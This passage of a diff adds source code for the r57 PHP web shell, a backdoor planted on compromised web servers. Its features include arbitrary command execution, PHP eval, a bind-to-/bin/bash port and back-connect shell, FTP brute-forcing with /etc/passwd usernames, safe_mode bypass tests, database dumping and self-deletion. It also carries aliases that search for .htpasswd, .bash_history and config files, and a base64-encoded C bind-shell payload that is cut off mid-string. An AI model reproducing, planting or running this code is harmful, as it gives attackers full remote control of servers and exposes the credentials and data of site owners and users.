"</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>?</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK 